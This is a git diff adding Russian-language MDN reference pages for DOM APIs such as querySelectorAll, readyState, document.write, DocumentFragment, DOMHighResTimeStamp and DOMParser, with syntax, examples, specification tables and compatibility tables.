Примечание: Данный метод реализован на основе миксина {{domxref("ParentNode")}} {{domxref("ParentNode.querySelectorAll", "querySelectorAll()")}} метода.

+
+ +

Синтаксис

+ +
elementList = document.querySelectorAll(selectors);
+
+ +

Параметры

+ +
+
selectors
+
Строка {{domxref("DOMString")}}, содержащая один или более CSS селектор. Эта строка должна быть валидным CSS селектором. Если это не так, то генерируется SyntaxError. Смотрите Поиск элементов DOM с использованием селекторов для получения информации о том, распознавать элементы. Несколько селекторов нужно разделить запятыми.
+
+ +
+

Примечание: Символы, которые не являются частью стандартного синтаксиса CSS, должны быть экранированы с помощью символа обратной косой черты (\). Поскольку в JavaScript также используется экранирование обратной косой черты, при написании строковых литералов с использованием этих символов следует соблюдать особую осторожность. Для более подробной информации смотри {{anch("Escaping special characters")}}.

+
+ +

Возвращаемое значение

+ +

Статический (non-live) {{domxref("NodeList")}}, содержащий все элементы в пределах документа, которые соответствуют как минимум одному из указанных селекторов, или пустой {{domxref("NodeList")}} в случае отсутствия совпадений.

+ +
+

Примечание: Если в строке selectors содержатся CSS псевдоэлементы, то возвращаемый список будет всегда пуст.

+
+ +

Исключения

+ +
+
SyntaxError
+
Исключение SYNTAX_ERR происходит в случае передачи некорректной группы селекторов.
+
+ +

Примеры

+ +

Получение списка совпадений

+ +

Чтобы получить {{domxref("NodeList")}} всех элементов {{HTMLElement("p")}} в документе:

+ +
var matches = document.querySelectorAll("p");
+ +

В этом примере возвращается список всех элементов {{HTMLElement ("div")}} в документе, которые имеют класс note или alert:

+ +
var matches = document.querySelectorAll("div.note, div.alert");
+
+ +

Здесь мы получаем список элементов <p>, чьим непосредственным родительским элементом явялется {{HTMLElement("div")}} с классом highlighted, который расположен внутри контейнера с идентификатором test.

+ +
var container = document.querySelector("#test");
+var matches = container.querySelectorAll("div.highlighted > p");
+ +

В этом примере используются селекторы атрибутов, чтобы вернуть список элементов {{HTMLElement("iframe")}}, которые содержат атрибут data-src:

+ +
var matches = document.querySelectorAll("iframe[data-src]");
+ +

Здесь селектор атрибута используется для возврата элементов списка, содержащихся в списке с идентификатором "userlist", который имеет атрибут "data-active" со значением "1":

+ +
var container = document.querySelector("#userlist");
+var matches = container.querySelectorAll("li[data-active='1']");
+ +

Доступ к совпадениям

+ +

Вернув {{domxref("NodeList")}} совпадений один раз, вы можете использовать его как простой массив. Если массив пустой (т. е. свойство length равно 0), то совпадений не было найдено.

+ +

В другом случае, вы можете использовать стандартную запись массива для доступа к содержимому. Вы можете использовать любой оператор зацикливания, например:

+ +
var highlightedItems = userList.querySelectorAll(".highlighted");
+
+highlightedItems.forEach(function(userItem) {
+  deleteUser(userItem);
+});
+ +

Примечания пользователя

+ +

querySelectorAll() ведёт себя не так, как большинство библиотек JavaScript DOM. Это может привести к неожиданным результатам.

+ +

HTML

+ +

Рассмотрим этот HTML с тремя вложенными {{HTMLElement("div")}} блоками.

+ +
<div class="outer">
+  <div class="select">
+    <div class="inner">
+    </div>
+  </div>
+</div>
+ +

JavaScript

+ +
var select = document.querySelector('.select');
+var inner = select.querySelectorAll('.outer .inner');
+inner.length; // 1, не 0!
+ +

В данном примере, когда мы выбрали ".outer .inner" в контексте <div> с классом "select", элемент с классом ".inner" был всё равно найден, хотя .outer не является потомком элемента в котором происходил поиск (".select"). По-умолчанию, querySelectorAll() проверяет только последний элемент без учёта контекста.

+ +

Псевдокласс {{cssxref(":scope")}} даёт нам ожидаемый результат. Только соответстующие селекторы в потомках базового элемента:

+ +
var select = document.querySelector('.select');
+var inner = select.querySelectorAll(':scope .outer .inner');
+inner.length; // 0
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("DOM WHATWG", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}{{Spec2("DOM WHATWG")}}Живой стандарт
{{SpecName("Selectors API Level 2", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}{{Spec2("Selectors API Level 2")}}Без изменений
{{SpecName("DOM4", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}{{Spec2("DOM4")}}Изначальное определение
{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}{{Spec2("Selectors API Level 1")}}Оригинальное определение
+ +

Совместимость с браузерами

+ +

{{Compat("api.Document.querySelectorAll")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/document/readystate/index.html b/files/ru/web/api/document/readystate/index.html new file mode 100644 index 0000000000..fbf050e1b5 --- /dev/null +++ b/files/ru/web/api/document/readystate/index.html @@ -0,0 +1,116 @@ +--- +title: Document.readyState +slug: Web/API/Document/readyState +tags: + - API + - Property +translation_of: Web/API/Document/readyState +--- +
+

{{APIRef("DOM")}}{{gecko_minversion_header("1.9.2")}}

+ +

Свойство Document.readyState описывает состояние загрузки {{domxref("document")}}.

+ +

Когда значение этого свойства изменяется, в объетке {{domxref("document")}} запускается событие {{event("readystatechange")}}.

+
+ +

Синтаксис

+ +
var string = document.readyState;
+ +

Значения

+ +

Свойство readyState объекта document может иметь одно из следующих значений:

+ +
+
loading
+
Страница все еще загружается.
+
interactive
+
Страница уже загружена и DOM дерево построено, но дополнительные ресурсы, такие как изображения и iframe, все еще загружаются.
+
complete
+
Страница и все дополнительные ресурсы уже загружены. Это состояние указывает, что событие {{event("load")}} уже вызвано.
+
+ +

При изменении значения, данного свойства, вызывается событие {{event("readystatechange")}} на объекте {{ domxref("document") }}.

+ +

Примеры

+ +

Разные состояния загрузки страницы

+ +
switch (document.readyState) {
+  case "loading":
+    // Страница все еще загружается
+    break;
+  case "interactive":
+    // Страница уже загружена. Теперь мы можем получить доступ к DOM объектам.
+    var span = document.createElement("span");
+    span.textContent = "A <span> element.";
+    document.body.appendChild(span);
+    break;
+  case "complete":
+    // Страница загружена вместе с дополнительными ресурсами.
+    console.log("The first CSS rule is: " + document.styleSheets[0].cssRules[0].cssText);
+    break;
+}
+
+ +

readystatechange как альтернатива событию DOMContentLoaded

+ +
// альтернатива событию DOMContentLoaded
+document.onreadystatechange = function () {
+  if (document.readyState == "interactive") {
+    initApplication();
+  }
+}
+ +

readystatechange как альтернатива событию load

+ +
// альтернатива событию load
+document.onreadystatechange = function () {
+  if (document.readyState == "complete") {
+    initApplication();
+  }
+}
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСостояниеКомментарии
{{SpecName("HTML WHATWG", "#current-document-readiness", "Document readiness")}}{{Spec2('HTML WHATWG')}}
{{SpecName("HTML5.1", "#current-document-readiness", "Document readiness")}}{{Spec2('HTML5.1')}}
{{SpecName("HTML5 W3C", "#current-document-readiness", "Document readiness")}}{{Spec2('HTML5 W3C')}}Первичная спецификация.
+ +

Браузерная поддержка

+ + + +

{{Compat("api.Document.readyState")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/document/referrer/index.html b/files/ru/web/api/document/referrer/index.html new file mode 100644 index 0000000000..2855d99c69 --- /dev/null +++ b/files/ru/web/api/document/referrer/index.html @@ -0,0 +1,41 @@ +--- +title: Document.referrer +slug: Web/API/Document/referrer +tags: + - API + - Document + - Property +translation_of: Web/API/Document/referrer +--- +
{{APIRef("DOM")}}
+ +

Возвращает URI страницы, с которой был совершен переход на текущую.

+ +

Синтаксис

+ +
var referrer = document.referrer;
+
+ +

Значение

+ +

Вернет пустую строку, если пользователь попал на страницу напрямую (не через ссылку, а, например, через закладку). Т.к. свойство возвращает строку, это не дает вам доступ к DOM ссылающейся страницы.

+ +

Внутри элемента {{HTMLElement("iframe")}}, Document.referrer первоначально будет установлен в тоже значение, что и {{domxref("HTMLHyperlinkElementUtils/href", "href")}} объекта {{domxref("Window/location", "Window.location")}} родительского окна.

+ +

Спецификация

+ + + +

 

+ +

Браузерная поддержка

+ + + +

{{Compat("api.Document.referrer")}}

+ +

 

diff --git a/files/ru/web/api/document/registerelement/index.html b/files/ru/web/api/document/registerelement/index.html new file mode 100644 index 0000000000..a7788e0c6e --- /dev/null +++ b/files/ru/web/api/document/registerelement/index.html @@ -0,0 +1,117 @@ +--- +title: Document.registerElement() +slug: Web/API/Document/registerElement +translation_of: Web/API/Document/registerElement +--- +

{{APIRef("DOM")}}

+ +

{{draft()}}

+ +

Метод Document.registerElement() регистрирует новый кастомный элемент (custom element) в браузере и возвращает конструктор для этого нового элемента.

+ +
+

Примечание: Это экспериментальная технология . Браузер который вы используете должен поддерживать Вэб Компоненты (Web Components). Смотри больше: Enabling Web Components in Firefox.

+
+ +

Syntax

+ +
var constructor = document.registerElement(tag-name, options);
+ +

Parameters

+ +
+
tag-name
+
Имя кастомного элемента. Имя должно содержать символ дефиса (-), например: my-tag.
+
options {{optional_inline}}
+
An object that names the prototype to base the custom element on, and an existing tag to extend. Both of these are optional.
+
+ +

Example

+ +

Here is a very simple example:

+ +
var Mytag = document.registerElement('my-tag');
+
+ +

Now the new tag is registered in the browser. The Mytag variable holds a constructor that you can use to create a my-tag element in the document as follows:

+ +
document.body.appendChild(new Mytag());
+ +

This inserts an empty my-tag element that will be visible if you use the browser's developer tools. It will not be visible if you use the browser's view source capability. And it won't be visible in the browser unless you add some content to the tag. Here is one way to add content to the new tag:

+ +
var mytag = document.getElementsByTagName("my-tag")[0];
+mytag.textContent = "I am a my-tag element.";
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Custom Elements')}}{{Spec2('Custom Elements')}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support3531 (behind a flag){{CompatNo}}25{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support4.4.431 (behind a flag){{CompatNo}}25{{CompatNo}}
+
+ +

See also

+ + diff --git a/files/ru/web/api/document/scripts/index.html b/files/ru/web/api/document/scripts/index.html new file mode 100644 index 0000000000..bb82b79677 --- /dev/null +++ b/files/ru/web/api/document/scripts/index.html @@ -0,0 +1,93 @@ +--- +title: Document.scripts +slug: Web/API/Document/scripts +translation_of: Web/API/Document/scripts +--- +
{{APIRef("DOM")}}
+ +

Возвращает список элементов {{HTMLElement("script")}} в документ. Возвращаемый объект явлеется {{domxref("HTMLCollection")}}.

+ +

Syntax

+ +
var scriptList = document.scripts;
+
+ +

Возвращаемый scriptList является {{domxref("HTMLCollection")}}. Вы можете использовать его как массив для получения всех элементов в списке.

+ +

Example

+ +

Этот пример показывает есть ли на старинице элементы {{HTMLElement("script")}}.

+ +
var scripts = document.scripts;
+
+if (scripts.length) {
+  alert("This page has scripts!");
+}
+
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("9.0")}}4.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile("9.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-document-scripts', 'Document.scripts')}}{{ Spec2('HTML WHATWG') }} 
diff --git a/files/ru/web/api/document/scroll_event/index.html b/files/ru/web/api/document/scroll_event/index.html new file mode 100644 index 0000000000..041c505630 --- /dev/null +++ b/files/ru/web/api/document/scroll_event/index.html @@ -0,0 +1,100 @@ +--- +title: 'Document: событие scroll' +slug: Web/API/Document/scroll_event +tags: + - API + - DOM + - Document + - Event + - Scroll + - UIEvent + - Источник +translation_of: Web/API/Document/scroll_event +--- +

{{APIRef}}

+ +

Событие scroll возникает при прокрутке области просмотра документа или элемента.

+ + + + + + + + + + + + + + + + + + + + + + +
ВсплытиеДа
ОтменяемыйНет
Интерфейс{{DOMxRef("Event")}}
Свойство обработчика событий{{DOMxRef("GlobalEventHandlers.onscroll", "onscroll")}}
+ +
+

Примечание: В iOS UIWebViews события scroll не срабатывают во время самого прокручивания, только по его завершении. См. issue в Bootstrap #16202. Safari и WKWebViews не подвержены этому багу.

+
+ +

Примеры

+ +

Пропуск тактов события прокрутки

+ +

Поскольку события прокрутки могут запускаться с высокой скоростью, обработчик событий не должен выполнять вычислительно-емкие операции, такие как модификации DOM. Вместо этого рекомендуется пропускать такты события, используя {{DOMxRef("Window.requestAnimationFrame()", "requestAnimationFrame()")}}, {{DOMxRef("WindowOrWorkerGlobalScope.setTimeout()", "setTimeout()")}} или {{DOMxRef("CustomEvent")}}, как показано ниже.

+ +

Обратите внимание, однако, что входные события и кадры анимации запускаются примерно с одинаковой скоростью, и поэтому приведенная ниже оптимизация зачастую не требуется. В примере ниже оптимизируется событие scroll для requestAnimationFrame:

+ +
// Источник: http://www.html5rocks.com/en/tutorials/speed/animations/
+
+let last_known_scroll_position = 0;
+let ticking = false;
+
+function doSomething(scroll_pos) {
+  // Делаем что-нибудь с позицией скролла
+}
+
+window.addEventListener('scroll', function(e) {
+  last_known_scroll_position = window.scrollY;
+
+  if (!ticking) {
+    window.requestAnimationFrame(function() {
+      doSomething(last_known_scroll_position);
+      ticking = false;
+    });
+
+    ticking = true;
+  }
+});
+ +

Больше похожих примеров можно найти на странице события resize.

+ +

Спецификация

+ + + + + + + + + + + + +
СпецификацияСтатус
{{SpecName('DOM3 Events', '#event-type-scroll')}}{{Spec2('DOM3 Events')}}
+ +

Совместимость с браузерами

+ +

{{Compat("api.Document.scroll_event")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/document/url/index.html b/files/ru/web/api/document/url/index.html new file mode 100644 index 0000000000..ebba5fad22 --- /dev/null +++ b/files/ru/web/api/document/url/index.html @@ -0,0 +1,76 @@ +--- +title: Document.URL +slug: Web/API/Document/URL +tags: + - API + - Document + - Property +translation_of: Web/API/Document/URL +--- +
{{APIRef("DOM")}}
+ +

Возвращает строку URL документа HTML.

+ +

Синтаксис

+ +
string = document.URL
+
+ +

 

+ +

Пример

+ +

JavaScript

+ +
document.getElementById("url").textContent = document.URL;
+ +

HTML

+ +
<p id="urlText">
+  URL:<br/>
+  <span id="url">URL goes here</span>
+</p>
+ +

Результат

+ +

{{EmbedLiveSample("Example", "100%", 100)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("DOM WHATWG", "#dom-document-url", "Document.URL")}}{{Spec2("DOM WHATWG")}}Defines that the property is a {{domxref("USVString")}} instead of a {{domxref("DOMString")}}.
{{SpecName("DOM1", "level-one-html.html#attribute-URL", "Document.URL")}}{{Spec2("DOM1")}}Initial definition
+ +

Браузерная поддержка

+ + + +

{{Compat("api.Document.URL")}}

+ +

Смотрите также

+ + + +

 

diff --git a/files/ru/web/api/document/write/index.html b/files/ru/web/api/document/write/index.html new file mode 100644 index 0000000000..1394509e96 --- /dev/null +++ b/files/ru/web/api/document/write/index.html @@ -0,0 +1,79 @@ +--- +title: Document.write() +slug: Web/API/Document/write +translation_of: Web/API/Document/write +--- +
{{ ApiRef("DOM") }}
+ +

Пишет строку в поток документа, открытый с помощью document.open().

+ +
Замечание: поскольку document.write пишет строку в поток документа, вызов document.write для закрытого (но загруженного) документа автоматически вызовет document.open, который очистит документ.
+ +

Синтаксис

+ +
document.write(разметка);
+
+ +

Параметры

+ +
+
разметка
+
Строка, содержащая текст для записи в документ.
+
+ +

Пример

+ +
<html>
+
+<head>
+  <title>write example</title>
+
+  <script>
+    function newContent() {
+      alert("загрузка нового контента");
+      document.open();
+      document.write("<h1>Долой старое, да здравствует новое!</h1>");
+      document.close();
+    }
+  </script>
+</head>
+
+<body onload="newContent();">
+  <p>Какой-то оригинальный контент.</p>
+</body>
+
+</html>
+
+ +

Замечания

+ +

Запись в документ, загруженный без вызова document.open(), автоматически вызовет document.open. По окончании записи рекомендуется вызвать document.close(), чтобы браузер  завершил загрузку страницы. Записываемый текст разбирается в структурную модель документа. В примере выше элемент h1 становится узлом документа.

+ +

Если вызов document.write() производится во встроенном HTML теге <script> , вызов document.open() не будет выполнен. Например:

+ +
<script>
+  document.write("<h1>Основной заголовок</h1>")
+</script>
+
+ +
Замечание: document.write и document.writeln не работают в XHTML документах (выводится сообщение "Операция не поддерживается" [NS_ERROR_DOM_NOT_SUPPORTED_ERR] в консоли ошибок). Это случается при открытии локального файла с расширением .xhtml или для любых документов, обрабатываемых с типом MIME - application/xhtml+xml . Больше информации доступно по адресу W3C XHTML FAQ.
+ +
Замечание: document.write в отложенных или асинхронных сценариях игнорируется и выводится сообщение типа "Проигнорирован вызов document.write() из асинхронно загруженного внешнего сценария" в консоли ошибок.
+ +
Замечание: В Edge  вызов document.write в iframe более одного раза  прриводит к ошибке SCRIPT70: Доступ запрещен.
+ +
Замечание: Начиная с версии 55, Chrome не исполняет элементы <script>  вставленные посредством document.write() в случае отсутствия кэша HTTP для пользователей 2G подключения.
+ +

Спецификации

+ + + +

См. также

+ + diff --git a/files/ru/web/api/document/writeln/index.html b/files/ru/web/api/document/writeln/index.html new file mode 100644 index 0000000000..990aec8828 --- /dev/null +++ b/files/ru/web/api/document/writeln/index.html @@ -0,0 +1,34 @@ +--- +title: Document.writeln() +slug: Web/API/Document/writeln +translation_of: Web/API/Document/writeln +--- +

{{ ApiRef("DOM") }}

+ +

Выводит в документ строку со знаком перевода каретки в конце.

+ +

Синтакс

+ +
document.writeln(line);
+
+ +

Параметры

+ + + +

Пример

+ +
document.writeln("<p>введите пароль:</p>");
+
+ +

Примечания

+ +

document.writeln тоже самое, что document.write но добавляет знак новой строки.

+ +
Примечание: document.writeln (как и document.write) не работает с XHTML документами (вы получите ошибку "Operation is not supported" (NS_ERROR_DOM_NOT_SUPPORTED_ERR) в консоли ошибок). Происходит это, если открыть локальный файл с разширением .xhtml или документ с MIME типом application/xhtml+xml. Больше информации доступно на W3C XHTML FAQ.
+ +

Спецификации

+ +

writeln

diff --git a/files/ru/web/api/documentfragment/index.html b/files/ru/web/api/documentfragment/index.html new file mode 100644 index 0000000000..61a6ae1571 --- /dev/null +++ b/files/ru/web/api/documentfragment/index.html @@ -0,0 +1,236 @@ +--- +title: DocumentFragment +slug: Web/API/DocumentFragment +translation_of: Web/API/DocumentFragment +--- +

{{ APIRef("DOM") }}

+ +

Интерфейс DocumentFragment представляет собой минимальный объект документа, который не имеет родителя. Он используется как легкая версия  {{domxref ("Document")}}, чтобы хранить хорошо сформированные или потенциально не хорошо формированные фрагменты XML.

+ +

Различные другие методы могут взять document fragment в качестве аргумента (например, любые методы интерфейса Node, такие как Node.appendChild и Node.insertBefore), в этом случае прикрепляются или вставляются  дети фрагмента, а не сам фрагмент.

+ +

Этот интерфейс также хорошо используется с веб-компонентами: {{HTMLElement ( "template")}}  элементы содержат DocumentFragment в их {{domxref ("HTML Template Element.content")}} свойствах.

+ +

Пустой DocumentFragment может быть создан с помощью метода {{domxref("document.createDocumentFragment")}}  или конструктора.

+ +

Свойства

+ +

Этот интерфейс не имеет определенных свойств помимо наследуемых от его родителя, {{domxref("Node")}}, и реализует их из интерфейса {{domxref("ParentNode")}}.

+ +
+
{{ domxref("ParentNode.children") }} {{readonlyInline}}{{experimental_inline}}
+
Возвращает динамическую {{domxref("HTMLCollection")}} содержащую все объекты типа {{domxref("Element")}}, которые являются потомками объекта DocumentFragment.
+
{{ domxref("ParentNode.firstElementChild") }} {{readonlyInline}}{{experimental_inline}}
+
Возвращает {{domxref("Element")}}, который является первым потомком объекта DocumentFragment, или null, если такого нет.
+
{{ domxref("ParentNode.lastElementChild") }} {{readonlyInline}}{{experimental_inline}}
+
Возвращает {{domxref("Element")}}, который является последним потомком объекта DocumentFragment, или null, если такого нет.
+
{{ domxref("ParentNode.childElementCount") }} {{readonlyInline}}{{experimental_inline}}
+
Возвращает unsigned long - число потомков объекта DocumentFragment.
+
+ +

Конструктор

+ +
+
{{ domxref("DocumentFragment.DocumentFragment()", "DocumentFragment()") }} {{experimental_inline}}
+
Возвращает пустой объект DocumentFragment.
+
+ +

Методы

+ +

Этот интерфейс наследует методы его родителя, {{domxref("Node")}}, и реализует их из интерфейса {{domxref("ParentNode")}}.

+ +
+
{{domxref("DocumentFragment.find()")}} {{experimental_inline}}
+
Возвращает первое совпадение {{domxref("Element")}} в дереве DocumentFragment.
+
{{domxref("DocumentFragment.findAll()")}} {{experimental_inline}}
+
Возвращает список {{domxref("NodeList")}} найденных {{domxref("Element")}} в дереве DocumentFragment.
+
{{domxref("DocumentFragment.querySelector()")}}
+
Возвращает первый узел {{domxref("Element")}} в DocumentFragment, в порядке документа, который совпадает с заданным селектором.
+
{{domxref("DocumentFragment.querySelectorAll()")}}
+
Возвращает список {{domxref("NodeList")}} всех узлов {{domxref("Element")}} в DocumentFragment которые совпадают с заданным селектором.
+
+ +
+
{{domxref("DocumentFragment.getElementById()")}}
+
Возвращает первый узел {{domxref("Element")}} в DocumentFragment, в порядке документа, который совпадает с заданным ID.
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG', '#interface-documentfragment', 'DocumentFragment')}}{{Spec2('DOM WHATWG')}}Добавлены конструктор и реализация {{domxref("ParentNode")}}.
{{SpecName('Selectors API Level 2', '#the-apis', 'DocumentFragment')}}{{Spec2('Selectors API Level 2')}}Добавлены методы find() и findAll().
{{SpecName('Selectors API Level 1', '#the-apis', 'DocumentFragment')}}{{Spec2('Selectors API Level 1')}}Добавлены методы querySelector() и querySelectorAll().
{{SpecName('DOM3 Core', 'core.html#ID-B63ED1A3', 'DocumentFragment')}}{{Spec2('DOM3 Core')}}Нет изменений с {{SpecName('DOM2 Core')}}
{{SpecName('DOM2 Core', 'core.html#ID-B63ED1A3', 'DocumentFragment')}}{{Spec2('DOM2 Core')}}Нет изменений с {{SpecName('DOM1')}}
{{SpecName('DOM1', 'level-one-core.html#ID-B63ED1A3', 'DocumentFragment')}}{{Spec2('DOM1')}}Первоначальное определение
+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ХарактеристикаChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка1.0{{CompatGeckoDesktop("1.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
querySelector() и querySelectorAll()1.0{{CompatGeckoDesktop("1.9.1")}}8.010.03.2 (525.3)
findAll() и find() {{experimental_inline}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+

DocumentFragment() конструктор {{experimental_inline}}

+ 		28.0{{CompatGeckoDesktop("24.0")}}{{CompatNo}}15.0{{CompatNo}}
Свойства ParentNode {{experimental_inline}}28.0{{CompatGeckoDesktop("25.0")}}{{CompatNo}}15.0{{CompatNo}}
Методы ParentNode {{experimental_inline}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ХарактеристикаAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile("1.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
querySelector() и querySelectorAll()2.1{{CompatGeckoMobile("1.0")}}8.010.03.2 (525.3)
findAll() и find() {{experimental_inline}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
DocumentFragment() конструктор {{experimental_inline}}{{CompatUnknown}}{{CompatGeckoMobile("24.0")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
Свойства ParentNode {{experimental_inline}}{{CompatVersionUnknown}}{{CompatGeckoMobile("25.0")}}{{CompatNo}}5.0{{CompatNo}}
Методы ParentNode {{experimental_inline}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

Смотри также

+ + diff --git a/files/ru/web/api/domhighrestimestamp/index.html b/files/ru/web/api/domhighrestimestamp/index.html new file mode 100644 index 0000000000..a1c1ad1148 --- /dev/null +++ b/files/ru/web/api/domhighrestimestamp/index.html @@ -0,0 +1,101 @@ +--- +title: DOMHighResTimeStamp +slug: Web/API/DOMHighResTimeStamp +translation_of: Web/API/DOMHighResTimeStamp +--- +

{{APIRef("High Resolution Time")}}

+ +

Тип DOMHighResTimeStamp является double и используется для хранения значения времени в миллисекундах. Этот тип может быть использован для описания конкретной точки во времени или временного промежутка (разницы во времени между двумя конкретными временными точками).

+ +

Время, в миллисекундах, скорее всего будет точным до 5 µs (микросекунд) и дробную долю числа будут составлять доли милисекунды. Тем не менее, если браузер (в силу, к примеру, аппаратных или программных ограничений) не может предоставить значение времени с точностью до 5 µs, он может представить значение как время в миллисекундах с точностью до миллисекунды. Также обратите внимание на секцию внизу об уменьшении точности времени, которое можно указать в настройках браузера дабы избежать атак по времени и сличения информации с помощью цифровых отпечатков.

+ +

Кроме того, если устройство или операционная система на который работает user agent не имеет часов, точных до микросекунд, они могут иметь точность до миллисекунды.

+ +

Уменьшенная точность времени

+ +

Для предоставления защиты от атак по времени и сличения информации с помощью цифровых отпечатков, точность отметок времени может округляться в зависимости от настроек браузера. В Firefox свойство privacy.reduceTimerPrecision включено по умолчанию и имеет значение 20 µs в Firefox 59; в 60 оно уже имеет значение 2ms.

+ +
// уменьшенная точность времени (2ms) в Firefox 60
+event.timeStamp
+// 1519211809934
+// 1519211810362
+// 1519211811670
+// ...
+
+
+// уменьшенная точность времени с включенным `privacy.resistFingerprinting`
+event.timeStamp;
+// 1519129853500
+// 1519129858900
+// 1519129864400
+// ...
+
+ +

В Firefox, вы также можете включить privacy.resistFingerprinting, точность будет 100ms или значением privacy.resistFingerprinting.reduceTimerPrecision.microseconds, в зависимости от того, какое из них больше.

+ +

Свойства

+ +

У этого типа нет свойств. Это число двойной точности с плавающей запятой.

+ +

Значение

+ +

Значение DOMHighResTimeStamp является числом двойной точности с плавающей запятой, которое описывает количество миллисекунд (с точностью до 5 микросекунд, если устройство это поддерживает), прошедших между двумя точками во времени. Начальное время может быть либо определённым временем, определённым скриптом или приложением, или временем возникновения.

+ +

Время возникновения

+ +

Время возникновения — стандартное время, которое считается началом существования текущего документа. Оно считается следующим образом:

+ + + +

Методы

+ +

У этого типа нет методов.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Highres Time Level 2', '#dom-domhighrestimestamp', 'DOMHighResTimeStamp')}}{{Spec2('Highres Time Level 2')}}Более строгие описания интерфейсов и типов
{{SpecName('Highres Time', '#sec-DOMHighResTimeStamp', 'DOMHighResTimeStamp')}}{{Spec2('Highres Time')}}Изначальное определение.
+ +

Браузерная совместимость

+ +
+ + +

{{Compat("api.DOMHighResTimestamp")}}

+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/domparser/index.html b/files/ru/web/api/domparser/index.html new file mode 100644 index 0000000000..a23e5cb58e --- /dev/null +++ b/files/ru/web/api/domparser/index.html @@ -0,0 +1,230 @@ +--- +title: DOMParser +slug: Web/API/DOMParser +tags: + - API + - DOM + - XML + - Экспериментальное +translation_of: Web/API/DOMParser +--- +

{{APIRef("DOM")}}{{SeeCompatTable}}

+ +

DOMParser может парсить XML или HTML источник содержащийся в строке в DOM Document. Спецификация DOMParser находится в DOM Parsing and Serialization.

+ +

Заметьте, что XMLHttpRequest поддерживает парсинг XML и HTML из интернет ресурсов (по ссылке)

+ +

Создание DOMParser

+ +

Для того чтобы создать DOMParser просто используйте new DOMParser().

+ +

Для большей информации о создании DOMParser в расширениях Firefox, пожалуйста прочитайте документацию : nsIDOMParser.

+ +

Парсинг XML

+ +

Как только вы создали объект парсера, вы можете парсить XML из строки, используя метод parseFromString:

+ +
var parser = new DOMParser();
+var doc = parser.parseFromString(stringContainingXMLSource, "application/xml");
+
+ +

Обработка ошибок

+ +

Заметьте, если процесс парсинга не удастся , DOMParser теперь не выдает исключение, но вместо этого выдает документ ошибки (see {{Bug(45566)}}):

+ +
<parsererror xmlns="http://www.mozilla.org/newlayout/xml/parsererror.xml">
+(Описание ошибки)
+<sourcetext>(отрывок XML документа)</sourcetext>
+</parsererror>
+
+ +

Ошибки синтаксического анализа также сообщаются в консоль ошибок, с идентификатором URI документа (см. Ниже) в качестве источника ошибки.

+ +

Разбор SVG или HTML

+ +

DOMParser так же может быть использован для разбора SVG документа {{geckoRelease("10.0")}} или HTML документа {{geckoRelease("12.0")}}. На выходе возможны 3 варианта, в зависимости от переданного MIME типа. Если MIME тип передан как text/xml, результирующий объект будет типа XMLDocument, если image/svg+xml, соответственно SVGDocument, а для MIME типа text/html - HTMLDocument.

+ +
var parser = new DOMParser();
+var doc = parser.parseFromString(stringContainingXMLSource, "application/xml");
+// возвращает Document, но не SVGDocument или HTMLDocument
+
+parser = new DOMParser();
+doc = parser.parseFromString(stringContainingXMLSource, "image/svg+xml");
+// возвращает SVGDocument, который так же является экземпляром класса Document.
+
+parser = new DOMParser();
+doc = parser.parseFromString(stringContainingHTMLSource, "text/html");
+// возвращает  HTMLDocument, который так же является экземпляром класса Document.
+
+ +

DOMParser HTML для устаревших браузеров

+ +
/*
